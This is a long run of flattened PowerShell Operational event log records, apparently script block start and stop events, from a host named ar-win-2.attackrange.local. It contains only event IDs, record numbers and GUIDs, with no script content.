410515102150x0669504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 